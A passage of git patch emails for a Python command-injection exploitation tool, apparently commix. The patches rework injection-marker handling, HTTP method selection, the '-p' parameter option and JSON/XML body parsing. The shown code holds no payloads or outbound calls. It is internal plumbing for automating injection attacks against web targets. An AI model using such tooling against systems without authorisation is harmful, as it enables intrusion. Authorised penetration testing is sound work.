b/src/core/requests/headers.py index d328e5d8b5..e862d8644d 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -396,7 +396,7 @@ def do_check(request): settings.CUSTOM_HEADER_NAME = http_header_name settings.CUSTOM_HEADER_VALUE = http_header_value # Add HTTP Header name / value to the HTTP request - if http_header_name not in [settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE] and settings.CUSTOM_HEADER_INJECTION == False: + if http_header_name not in [settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE]: request.add_header(http_header_name, http_header_value) except: pass diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index bceb92a274..605f3b0854 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -54,9 +54,9 @@ def multi_params_get_value(parameter): if "?" not in url: if settings.INJECT_TAG not in url and not menu.options.shellshock: checks.check_injection_level() - if menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL or menu.options.header or menu.options.headers: - return False - if menu.options.level == settings.COOKIE_INJECTION_LEVEL: + if menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL or \ + menu.options.level == settings.COOKIE_INJECTION_LEVEL or \ + settings.USER_DEFINED_POST_DATA and not settings.IGNORE_USER_DEFINED_POST_DATA: return False else: err_msg = "No parameter(s) found for testing on the provided target URL. " @@ -265,6 +265,7 @@ def json_format(parameter): parameter = json.dumps(parameter) return parameter + process_body_data = True # Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided. parameter = checks.wildcard_character(parameter).replace("'","\"").replace(", ",",").replace(",\"", ", \"") checks.check_injection_level() @@ -274,19 +275,24 @@ def json_format(parameter): parameter = checks.check_quotes_json_data(parameter) if not settings.IS_JSON: data_type = "JSON" - settings.IS_JSON = checks.process_data(data_type, http_request_method) + settings.IS_JSON = process_body_data = checks.process_data(data_type, http_request_method) settings.PARAMETER_DELIMITER = "," # Check if XML Object. elif checks.is_XML_check(parameter): if not settings.IS_XML: data_type = "XML/SOAP" - settings.IS_XML = checks.process_data(data_type, http_request_method) - settings.PARAMETER_DELIMITER = "" + settings.IS_XML = process_body_data = checks.process_data(data_type, http_request_method) + else: pass + + if process_body_data is not True: + return "" + parameters_list = [] # Split multiple parameters if settings.IS_XML: + settings.PARAMETER_DELIMITER = "" parameter = re.sub(r">\s*<", '>\n<', parameter).replace("\\n","\n") _ = [] parameters = re.findall(r'(.*)', parameter) diff --git a/src/utils/settings.py b/src/utils/settings.py index 76211bcb06..f192974dab 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "20" +REVISION = "21" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From ae2d70f46f3c58abfe0fd9e0369e889600716ca3 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 3 Apr 2024 07:17:13 +0300 Subject: [PATCH 414/560] Improvement regarding processing / ignoring injection marker (i.e. asterisk `*`) --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 26 +++++++++++------------- src/core/main.py | 8 ++++---- src/core/requests/parameters.py | 2 ++ src/utils/settings.py | 2 +- 5 files changed, 20 insertions(+), 19 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 5f3b33d87c..ff109e9257 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.0 (TBA) +* Revised: Improvement regarding processing / ignoring injection marker (i.e. asterisk `*`). * Revised: Improvement regarding forcing usage of provided HTTP method (e.g. `PUT`). * Revised: Improvement regarding parsing raw HTTP request from a file (i.e. `-r` option). * Revised: Improvement regarding parsing JSON nested objects. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 34ae3defc8..9bd845a261 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -100,12 +100,12 @@ def quoted_value(value): """ Check for custom injection marker (*) """ -def check_custom_injection_marker(url): +def check_custom_injection_marker(url, http_request_method): if url and settings.WILDCARD_CHAR in url: option = "'-u'" settings.WILDCARD_CHAR_APPLIED = True elif menu.options.data and settings.WILDCARD_CHAR in menu.options.data: - option = "POST body" + option = str(http_request_method) + " body" settings.WILDCARD_CHAR_APPLIED = True else: option = "option '--headers/--user-agent/--referer/--cookie'" @@ -132,22 +132,20 @@ def check_custom_injection_marker(url): menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL if settings.WILDCARD_CHAR_APPLIED: - if menu.options.test_parameter: - if not settings.MULTI_TARGETS or settings.STDIN_PARSING: - err_msg = "The options '-p' and the custom injection marker (" + settings.WILDCARD_CHAR + ") " - err_msg += "cannot be used simultaneously (i.e. only one option must be set)." - print(settings.print_critical_msg(err_msg)) - raise SystemExit - while True: message = "Custom injection marker (" + settings.WILDCARD_CHAR + ") found in " + option +". " message += "Do you want to process it? [Y/n] > " procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: - return + if menu.options.test_parameter: + if not settings.MULTI_TARGETS or settings.STDIN_PARSING: + err_msg = "The custom injection marker (" + settings.WILDCARD_CHAR + ") " + err_msg += "and the option '-p', cannot be used simultaneously." + print(settings.print_critical_msg(err_msg)) + raise SystemExit + return True elif procced_option in settings.CHOICE_NO: - settings.WILDCARD_CHAR_APPLIED = None - return + return False elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: @@ -1131,8 +1129,8 @@ def wildcard_character(data): for data in data.split("\\n"): # Ignore the Accept HTTP Header if not data.startswith(settings.ACCEPT) and not settings.WILDCARD_CHAR is None and not settings.INJECT_TAG in data and settings.WILDCARD_CHAR in data : - data = data.replace(settings.WILDCARD_CHAR, settings.INJECT_TAG) - settings.WILDCARD_CHAR_APPLIED = True + if settings.WILDCARD_CHAR_APPLIED: + data = data.replace(settings.WILDCARD_CHAR, settings.INJECT_TAG) _ = _ + data + "\\n" data = _.rstrip("\\n") if data.count(settings.INJECT_TAG) > 1: diff --git a/src/core/main.py b/src/core/main.py index d2470a5451..f9e8149202 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -286,7 +286,7 @@ def check_for_injected_url(url): """ The main function. """ -def main(filename, url): +def main(filename, url, http_request_method): try: if menu.options.alert: if menu.options.alert.startswith('-'): @@ -309,7 +309,7 @@ def main(filename, url): if settings.WILDCARD_CHAR_APPLIED and settings.MULTI_TARGETS or settings.STDIN_PARSING: settings.WILDCARD_CHAR_APPLIED = False - checks.check_custom_injection_marker(url) + settings.WILDCARD_CHAR_APPLIED = checks.check_custom_injection_marker(url, http_request_method) # Check injection level, due to the provided testable parameters. if menu.options.level == settings.DEFAULT_INJECTION_LEVEL and \ @@ -863,7 +863,7 @@ def main(filename, url): response, url = url_response(url, http_request_method) if response != False: filename = logs.logs_filename_creation(url) - main(filename, url) + main(filename, url, http_request_method) else: output_href = [] @@ -991,7 +991,7 @@ def main(filename, url): response, url = url_response(url, http_request_method) if response != False: filename = logs.logs_filename_creation(url) - main(filename, url) + main(filename, url, http_request_method) except: pass else: diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 605f3b0854..9e1feb1538 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -452,6 +452,8 @@ def vuln_POST_param(parameter, url): for item in parameters: if settings.INJECT_TAG in item: result = re.sub(re.compile('<.*?>'), '', item) + if not settings.WILDCARD_CHAR_APPLIED and settings.WILDCARD_CHAR in item: + item = item.replace(settings.WILDCARD_CHAR,"") _ = (re.search('<(.*)>' + result + '', item)) if (_.groups()[0]) == (_.groups()[1]): vuln_parameter = ''.join(_.groups()[0]) diff --git a/src/utils/settings.py b/src/utils/settings.py index f192974dab..551a83d5b4 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "21" +REVISION = "22" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From be30ea062cff4f8c64364dd4925f8ecb624a4bce Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 5 Apr 2024 08:05:31 +0300 Subject: [PATCH 415/560] Minor update --- src/core/injections/controller/controller.py | 14 ++++++-------- src/core/requests/parameters.py | 14 +++++--------- src/utils/settings.py | 2 +- 3 files changed, 12 insertions(+), 18 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 553be59a20..e5c70dd40d 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -271,21 +271,19 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if settings.PERFORM_BASIC_SCANS: basic_level_checks() - inject_http_headers = False - if menu.options.method: http_request_method = menu.options.method.upper() - elif check_parameter.lower() in url : - http_request_method = settings.HTTPMETHOD.GET - elif check_parameter.lower() in settings.USER_DEFINED_POST_DATA: + elif check_parameter.lower() in settings.USER_DEFINED_POST_DATA and not settings.IGNORE_USER_DEFINED_POST_DATA: http_request_method = settings.HTTPMETHOD.POST + elif check_parameter.lower() in url: + http_request_method = settings.HTTPMETHOD.GET + inject_http_headers = False if any(x in check_parameter.lower() for x in settings.HTTP_HEADERS) or \ any(x in check_parameter.lower() for x in settings.CUSTOM_HEADER_NAME): inject_http_headers = True - # User-Agent HTTP header / Referer HTTP header / - # Host HTTP header / Custom HTTP header Injection(s) + # User-Agent/Referer/Host/Custom HTTP header Injection(s) if check_parameter.startswith(settings.SINGLE_WHITESPACE): header_name = "" the_type = "HTTP header" @@ -597,7 +595,7 @@ def post_request(url, http_request_method, filename, timesec): found_parameter_list.append(found_parameter) found_parameter = found_parameter_list - if settings.IS_XML or settings.IS_JSON: + if settings.IS_JSON or settings.IS_XML: # Remove junk data found_parameter = [x for x in found_parameter if settings.INJECT_TAG in x] else: diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 9e1feb1538..a7a9a1ab6a 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -59,7 +59,7 @@ def multi_params_get_value(parameter): settings.USER_DEFINED_POST_DATA and not settings.IGNORE_USER_DEFINED_POST_DATA: return False else: - err_msg = "No parameter(s) found for testing on the provided target URL. " + err_msg = "No parameter(s) found for testing in the provided data. " if not menu.options.crawldepth: err_msg += "You are advised to rerun with '--crawl=2'." print(settings.print_critical_msg(err_msg)) @@ -265,7 +265,6 @@ def json_format(parameter): parameter = json.dumps(parameter) return parameter - process_body_data = True # Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided. parameter = checks.wildcard_character(parameter).replace("'","\"").replace(", ",",").replace(",\"", ", \"") checks.check_injection_level() @@ -275,20 +274,17 @@ def json_format(parameter): parameter = checks.check_quotes_json_data(parameter) if not settings.IS_JSON: data_type = "JSON" - settings.IS_JSON = process_body_data = checks.process_data(data_type, http_request_method) + settings.IS_JSON = checks.process_data(data_type, http_request_method) settings.PARAMETER_DELIMITER = "," # Check if XML Object. elif checks.is_XML_check(parameter): if not settings.IS_XML: data_type = "XML/SOAP" - settings.IS_XML = process_body_data = checks.process_data(data_type, http_request_method) + settings.IS_XML = checks.process_data(data_type, http_request_method) - else: - pass - - if process_body_data is not True: + if settings.IGNORE_USER_DEFINED_POST_DATA: return "" - + parameters_list = [] # Split multiple parameters if settings.IS_XML: diff --git a/src/utils/settings.py b/src/utils/settings.py index 551a83d5b4..262dd7242b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "22" +REVISION = "23" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 914d5645fa83339dba656e2acf06976fe1bf37d8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 8 Apr 2024 08:26:09 +0300 Subject: [PATCH 416/560] Minor update --- src/core/main.py | 5 ++++- src/utils/settings.py | 2 +- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index f9e8149202..9576fa1269 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -747,7 +747,10 @@ def main(filename, url, http_request_method): # Check if defined "--wizard" option. if menu.options.wizard: - if not menu.options.url and not settings.STDIN_PARSING: + message = "Enter full target URL (-u) > " + if menu.options.url: + print(settings.print_message(message + str(menu.options.url))) + elif not menu.options.url and not settings.STDIN_PARSING: while True: message = "Enter full target URL (-u) > " menu.options.url = common.read_input(message, default=None, check_batch=True) diff --git a/src/utils/settings.py b/src/utils/settings.py index 262dd7242b..454ce6509a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "23" +REVISION = "24" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From dae2834fe169aa2e3c525b8f6f41d227c3e87743 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 9 Apr 2024 07:27:10 +0300 Subject: [PATCH 417/560] Improvement regarding specifying which parameter(s) to test (i.e. `-p` option) --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 60 +++++++------ src/core/injections/controller/controller.py | 92 ++++++++++---------- src/core/main.py | 24 ++--- src/core/requests/parameters.py | 15 +++- src/utils/settings.py | 5 +- 6 files changed, 110 insertions(+), 87 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index ff109e9257..c116106fa5 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.0 (TBA) +* Revised: Improvement regarding specifying which parameter(s) to test (i.e. `-p` option). * Revised: Improvement regarding processing / ignoring injection marker (i.e. asterisk `*`). * Revised: Improvement regarding forcing usage of provided HTTP method (e.g. `PUT`). * Revised: Improvement regarding parsing raw HTTP request from a file (i.e. `-r` option). diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 9bd845a261..83e2f21c44 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -104,6 +104,8 @@ def check_custom_injection_marker(url, http_request_method): if url and settings.WILDCARD_CHAR in url: option = "'-u'" settings.WILDCARD_CHAR_APPLIED = True + if menu.options.data: + settings.IGNORE_USER_DEFINED_POST_DATA = True elif menu.options.data and settings.WILDCARD_CHAR in menu.options.data: option = str(http_request_method) + " body" settings.WILDCARD_CHAR_APPLIED = True @@ -240,16 +242,15 @@ def alert(): Check for HTTP Method """ def check_http_method(url): - if len(settings.HTTP_METHOD) != 0: - http_request_method = settings.HTTP_METHOD.upper() + if menu.options.method: + http_request_method = menu.options.method.upper() + elif any((settings.INJECT_TAG in url, settings.WILDCARD_CHAR in url)): + http_request_method = settings.HTTPMETHOD.GET else: - if not menu.options.data or \ - settings.WILDCARD_CHAR in url or \ - settings.INJECT_TAG in url or \ - [x for x in settings.TEST_PARAMETER if(x + "=" in url and not x in menu.options.data)]: - http_request_method = settings.HTTPMETHOD.GET - else: + if settings.USER_DEFINED_POST_DATA: http_request_method = settings.HTTPMETHOD.POST + else: + http_request_method = settings.HTTPMETHOD.GET return http_request_method """ @@ -1144,6 +1145,7 @@ def wildcard_character(data): Check provided parameters for tests """ def check_provided_parameters(): + if menu.options.test_parameter or menu.options.skip_parameter: if menu.options.test_parameter != None : if menu.options.test_parameter.startswith("="): @@ -1165,24 +1167,32 @@ def check_provided_parameters(): def check_skipped_params(check_parameters, http_request_method): settings.TEST_PARAMETER = [x + "," for x in settings.TEST_PARAMETER] for parameter in check_parameters: - if parameter in ",".join(settings.TEST_PARAMETER).split(","): + if parameter in settings.PARAMETER_SPLITTING_REGEX.join(settings.TEST_PARAMETER).split(settings.PARAMETER_SPLITTING_REGEX): info_msg = "Skipping " + http_request_method + " parameter '" + parameter + "'." print(settings.print_info_msg(info_msg)) - settings.TEST_PARAMETER = [x for x in check_parameters if x not in ",".join(settings.TEST_PARAMETER).split(",")] - settings.TEST_PARAMETER = ",".join(settings.TEST_PARAMETER) + settings.TEST_PARAMETER = [x for x in check_parameters if x not in settings.PARAMETER_SPLITTING_REGEX.join(settings.TEST_PARAMETER).split(settings.PARAMETER_SPLITTING_REGEX)] + settings.TEST_PARAMETER = settings.PARAMETER_SPLITTING_REGEX.join(settings.TEST_PARAMETER) menu.options.test_parameter = True """ Print the non-listed parameters. """ -def print_non_listed_params(check_parameters, http_request_method, header_name): +def testable_parameters(check_parameters, http_request_method, header_name): + _ = False + if len([i for i in settings.TEST_PARAMETER if i in check_parameters]) == 0: + _ = True + if settings.TEST_PARAMETER: - testable_parameters = ",".join(settings.TEST_PARAMETER).replace(settings.SINGLE_WHITESPACE, "") - testable_parameters = testable_parameters.split(",") + testable_parameters = settings.PARAMETER_SPLITTING_REGEX.join(settings.TEST_PARAMETER).replace(settings.SINGLE_WHITESPACE, "") + testable_parameters = testable_parameters.split(settings.PARAMETER_SPLITTING_REGEX) non_exist_param = list(set(testable_parameters) - set(check_parameters)) + if _ and settings.TESTABLE_PARAMETERS != False: + settings.TESTABLE_PARAMETERS = _ + else: + settings.TESTABLE_PARAMETERS = False if non_exist_param: - non_exist_param = ",".join(non_exist_param).replace(settings.SINGLE_WHITESPACE, "") - non_exist_param = non_exist_param.split(",") + non_exist_param = settings.PARAMETER_SPLITTING_REGEX.join(non_exist_param).replace(settings.SINGLE_WHITESPACE, "") + non_exist_param = non_exist_param.split(settings.PARAMETER_SPLITTING_REGEX) if menu.options.level >= settings.COOKIE_INJECTION_LEVEL and \ menu.options.test_parameter != None: if menu.options.cookie != None: @@ -1205,22 +1215,18 @@ def print_non_listed_params(check_parameters, http_request_method, header_name): if http_header in non_exist_param: non_exist_param.remove(http_header) - if non_exist_param: - non_exist_param_items = ",".join(non_exist_param) - warn_msg = "Skipping tests for " - warn_msg += "the provided parameter" + "s"[len(non_exist_param) == 1:][::-1] + " '" - warn_msg += non_exist_param_items + "' as" + (' they are', ' it is')[len(non_exist_param) == 1] + if non_exist_param and _: + non_exist_param_items = ", ".join(non_exist_param) + warn_msg = "Provided parameter" + "s"[len(non_exist_param) == 1:][::-1] + " '" + warn_msg += non_exist_param_items + "'" + (' are', ' is')[len(non_exist_param) == 1] + warn_msg += " not inside the " if menu.options.level >= settings.COOKIE_INJECTION_LEVEL and header_name != "": - warn_msg += " not part of the " - warn_msg += settings.HTTP_HEADER + warn_msg += settings.HTTP_HEADER.capitalize() else: - warn_msg += " not part of the " warn_msg += http_request_method - warn_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] - warn_msg += (' data', ' request')[http_request_method == settings.HTTPMETHOD.GET] warn_msg += "." print(settings.print_warning_msg(warn_msg)) - + if menu.options.skip_parameter != None: check_skipped_params(check_parameters, http_request_method) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index e5c70dd40d..0e8c42a88d 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -102,8 +102,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, tmp_url = url if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) - elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST or \ - menu.options.data and settings.INJECT_TAG in menu.options.data: + elif not settings.IGNORE_USER_DEFINED_POST_DATA and menu.options.data and settings.INJECT_TAG in menu.options.data: if inject_http_headers: data = menu.options.data.replace(settings.INJECT_TAG, "").encode(settings.DEFAULT_CODEC) else: @@ -163,8 +162,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t tmp_url = url if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) - elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST or \ - menu.options.data and settings.INJECT_TAG in menu.options.data: + elif settings.IGNORE_USER_DEFINED_POST_DATA and menu.options.data and settings.INJECT_TAG in menu.options.data: if inject_http_headers: data = menu.options.data.replace(settings.INJECT_TAG, "").encode(settings.DEFAULT_CODEC) else: @@ -273,9 +271,9 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if menu.options.method: http_request_method = menu.options.method.upper() - elif check_parameter.lower() in settings.USER_DEFINED_POST_DATA and not settings.IGNORE_USER_DEFINED_POST_DATA: + elif check_parameter in settings.USER_DEFINED_POST_DATA and not settings.IGNORE_USER_DEFINED_POST_DATA: http_request_method = settings.HTTPMETHOD.POST - elif check_parameter.lower() in url: + elif check_parameter in url: http_request_method = settings.HTTPMETHOD.GET inject_http_headers = False @@ -290,7 +288,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time check_parameter = " '" + check_parameter.strip() + "'" else: if settings.COOKIE_INJECTION: - header_name = "Cookie" + header_name = settings.COOKIE else: header_name = "" the_type = " parameter" @@ -304,10 +302,10 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time checks.tamper_scripts(stored_tamper_scripts=False) settings.CHECKING_PARAMETER = "" - if not header_name == "Cookie" and not the_type == "HTTP header": + if not header_name == settings.COOKIE and not the_type == "HTTP header": settings.CHECKING_PARAMETER = str(http_request_method) settings.CHECKING_PARAMETER += ('', ' JSON')[settings.IS_JSON] + ('', ' SOAP/XML')[settings.IS_XML] - if header_name == "Cookie" : + if header_name == settings.COOKIE : settings.CHECKING_PARAMETER += str(header_name) + str(the_type) + str(check_parameter) else: settings.CHECKING_PARAMETER += str(the_type) + str(header_name) + str(check_parameter) @@ -504,7 +502,7 @@ def cookie_injection(url, http_request_method, filename, timesec): check_parameter = parameters.specify_cookie_parameter(menu.options.cookie) check_parameters.append(check_parameter) - checks.print_non_listed_params(check_parameters, http_request_method, header_name) + checks.testable_parameters(check_parameters, http_request_method, header_name) for i in range(0, len(cookie_parameters)): parameter = menu.options.cookie = cookie_parameters[i] @@ -517,7 +515,7 @@ def cookie_injection(url, http_request_method, filename, timesec): if menu.options.test_parameter != None: param_counter = 0 for check_parameter in check_parameters: - if check_parameter in "".join(settings.TEST_PARAMETER).split(","): + if settings.TEST_PARAMETER.count(check_parameter) != 0: menu.options.cookie = cookie_parameters[param_counter] check_parameter = parameters.specify_cookie_parameter(menu.options.cookie) # Check for session file @@ -551,7 +549,8 @@ def get_request(url, http_request_method, filename, timesec): check_parameters.append(check_parameter) header_name = "" - checks.print_non_listed_params(check_parameters, http_request_method, header_name) + http_request_method = checks.check_http_method(url) + checks.testable_parameters(check_parameters, http_request_method, header_name) for i in range(0, len(found_url)): url = found_url[i] @@ -564,7 +563,7 @@ def get_request(url, http_request_method, filename, timesec): if menu.options.test_parameter != None: url_counter = 0 for check_parameter in check_parameters: - if check_parameter in "".join(settings.TEST_PARAMETER).split(","): + if settings.TEST_PARAMETER.count(check_parameter) != 0: url = found_url[url_counter] check_parameter = parameters.vuln_GET_param(url) # Check for session file @@ -588,13 +587,14 @@ def post_request(url, http_request_method, filename, timesec): parameter = menu.options.data found_parameter = parameters.do_POST_check(parameter, http_request_method) - + # Check if singe entry parameter if type(found_parameter) is str: found_parameter_list = [] found_parameter_list.append(found_parameter) found_parameter = found_parameter_list + if settings.IS_JSON or settings.IS_XML: # Remove junk data found_parameter = [x for x in found_parameter if settings.INJECT_TAG in x] @@ -610,7 +610,8 @@ def post_request(url, http_request_method, filename, timesec): check_parameters.append(check_parameter) header_name = "" - checks.print_non_listed_params(check_parameters, http_request_method, header_name) + http_request_method = checks.check_http_method(url) + checks.testable_parameters(check_parameters, http_request_method, header_name) for i in range(0, len(found_parameter)): #if settings.INJECT_TAG in found_parameter[i]: @@ -624,7 +625,7 @@ def post_request(url, http_request_method, filename, timesec): if menu.options.test_parameter != None: param_counter = 0 for check_parameter in check_parameters: - if check_parameter in "".join(settings.TEST_PARAMETER).split(","): + if settings.TEST_PARAMETER.count(check_parameter) != 0: menu.options.data = found_parameter[param_counter] check_parameter = parameters.vuln_POST_param(menu.options.data, url) # Check for session file @@ -766,36 +767,39 @@ def do_check(url, http_request_method, filename): # All injection techniques seems to be failed! if not settings.INJECTION_CHECKER: - err_msg = "All tested parameters " - if menu.options.level > settings.COOKIE_INJECTION_LEVEL: - err_msg += "and HTTP headers " - err_msg += "appear to be not injectable." - if menu.options.level < settings.HTTP_HEADER_INJECTION_LEVEL : - err_msg += " Try to increase value for '--level' option" - if menu.options.skip_empty: - err_msg += " and/or remove option '--skip-empty'" - err_msg += " if you wish to perform more tests." - if settings.USER_SUPPLIED_TECHNIQUE or settings.SKIP_TECHNIQUES: - err_msg += " Rerun without providing the option " - if not settings.SKIP_TECHNIQUES : - err_msg += "'--technique'." - else: - err_msg += "'--skip-technique'." - err_msg += " If you suspect that there is some kind of protection mechanism involved, maybe you could try to" - if not menu.options.alter_shell : - err_msg += " use option '--alter-shell'" + if settings.TESTABLE_PARAMETERS: + err_msg = "All testable parameters you provided are not present within the given request data." else: - err_msg += " remove option '--alter-shell'" - if not menu.options.tamper: - err_msg += " and/or use option '--tamper'" - if not menu.options.random_agent: + err_msg = "All tested parameters " + if menu.options.level > settings.COOKIE_INJECTION_LEVEL: + err_msg += "and HTTP headers " + err_msg += "appear to be not injectable." + if menu.options.level < settings.HTTP_HEADER_INJECTION_LEVEL : + err_msg += " Try to increase value for '--level' option" + if menu.options.skip_empty: + err_msg += " and/or remove option '--skip-empty'" + err_msg += " if you wish to perform more tests." + if settings.USER_SUPPLIED_TECHNIQUE or settings.SKIP_TECHNIQUES: + err_msg += " Rerun without providing the option " + if not settings.SKIP_TECHNIQUES : + err_msg += "'--technique'." + else: + err_msg += "'--skip-technique'." + err_msg += " If you suspect that there is some kind of protection mechanism involved, maybe you could try to" + if not menu.options.alter_shell : + err_msg += " use option '--alter-shell'" + else: + err_msg += " remove option '--alter-shell'" if not menu.options.tamper: - err_msg += " and/or" - err_msg += " switch '--random-agent'" - err_msg += "." - if settings.MULTI_TARGETS: - err_msg += " Skipping to the next target." - print(settings.print_error_msg(err_msg)) + err_msg += " and/or use option '--tamper'" + if not menu.options.random_agent: + if not menu.options.tamper: + err_msg += " and/or" + err_msg += " switch '--random-agent'" + err_msg += "." + if settings.MULTI_TARGETS: + err_msg += " Skipping to the next target." + print(settings.print_critical_msg(err_msg)) else: logs.print_logs_notification(filename, url) if not settings.MULTI_TARGETS: diff --git a/src/core/main.py b/src/core/main.py index 9576fa1269..ee9718aaeb 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -169,18 +169,10 @@ def init_request(url, http_request_method): if menu.options.check_internet: check_internet(url) # Check if defined POST data - if menu.options.data: - settings.USER_DEFINED_POST_DATA = menu.options.data - # Check if defined character used for splitting parameter values. - if menu.options.pdel and menu.options.pdel in settings.USER_DEFINED_POST_DATA: - settings.PARAMETER_DELIMITER = menu.options.pdel - request = _urllib.request.Request(url, menu.options.data.encode(), method=http_request_method) + if settings.USER_DEFINED_POST_DATA: + request = _urllib.request.Request(url, settings.USER_DEFINED_POST_DATA.encode(), method=http_request_method) else: - # Check if defined character used for splitting parameter values. - if menu.options.pdel and menu.options.pdel in url: - settings.PARAMETER_DELIMITER = menu.options.pdel request = _urllib.request.Request(url, method=http_request_method) - # Check if defined any HTTP Proxy (--proxy option). headers.do_check(request) # Used a valid pair of valid credentials if menu.options.auth_cred and menu.options.auth_type and settings.VERBOSITY_LEVEL != 0 : @@ -858,7 +850,17 @@ def main(filename, url, http_request_method): url = menu.options.sitemap_url else: url = menu.options.url - + + if menu.options.data: + settings.USER_DEFINED_POST_DATA = menu.options.data + # Check if defined character used for splitting parameter values. + if menu.options.pdel and menu.options.pdel in settings.USER_DEFINED_POST_DATA: + settings.PARAMETER_DELIMITER = menu.options.pdel + else: + # Check if defined character used for splitting parameter values. + if menu.options.pdel and menu.options.pdel in url: + settings.PARAMETER_DELIMITER = menu.options.pdel + if not settings.STDIN_PARSING and not menu.options.bulkfile and not settings.CRAWLING: http_request_method = checks.check_http_method(url) if os_checks_num == 0: diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index a7a9a1ab6a..bf31606341 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -49,6 +49,8 @@ def multi_params_get_value(parameter): # Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided. url = checks.wildcard_character(url) + if settings.USER_DEFINED_POST_DATA and settings.INJECT_TAG in url: + settings.IGNORE_USER_DEFINED_POST_DATA = True # Check for REST-ful URLs format. if "?" not in url: @@ -195,6 +197,9 @@ def vuln_GET_param(url): else: vuln_parameter = url + if settings.USER_DEFINED_POST_DATA and vuln_parameter: + settings.IGNORE_USER_DEFINED_POST_DATA = True + return vuln_parameter """ @@ -266,6 +271,7 @@ def json_format(parameter): return parameter # Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided. + parameter = checks.wildcard_character(parameter).replace("'","\"").replace(", ",",").replace(",\"", ", \"") checks.check_injection_level() # Check if JSON Object. @@ -282,9 +288,12 @@ def json_format(parameter): data_type = "XML/SOAP" settings.IS_XML = checks.process_data(data_type, http_request_method) + elif settings.TEST_PARAMETER and not any(ext in parameter for ext in settings.TEST_PARAMETER): + settings.IGNORE_USER_DEFINED_POST_DATA = True + if settings.IGNORE_USER_DEFINED_POST_DATA: return "" 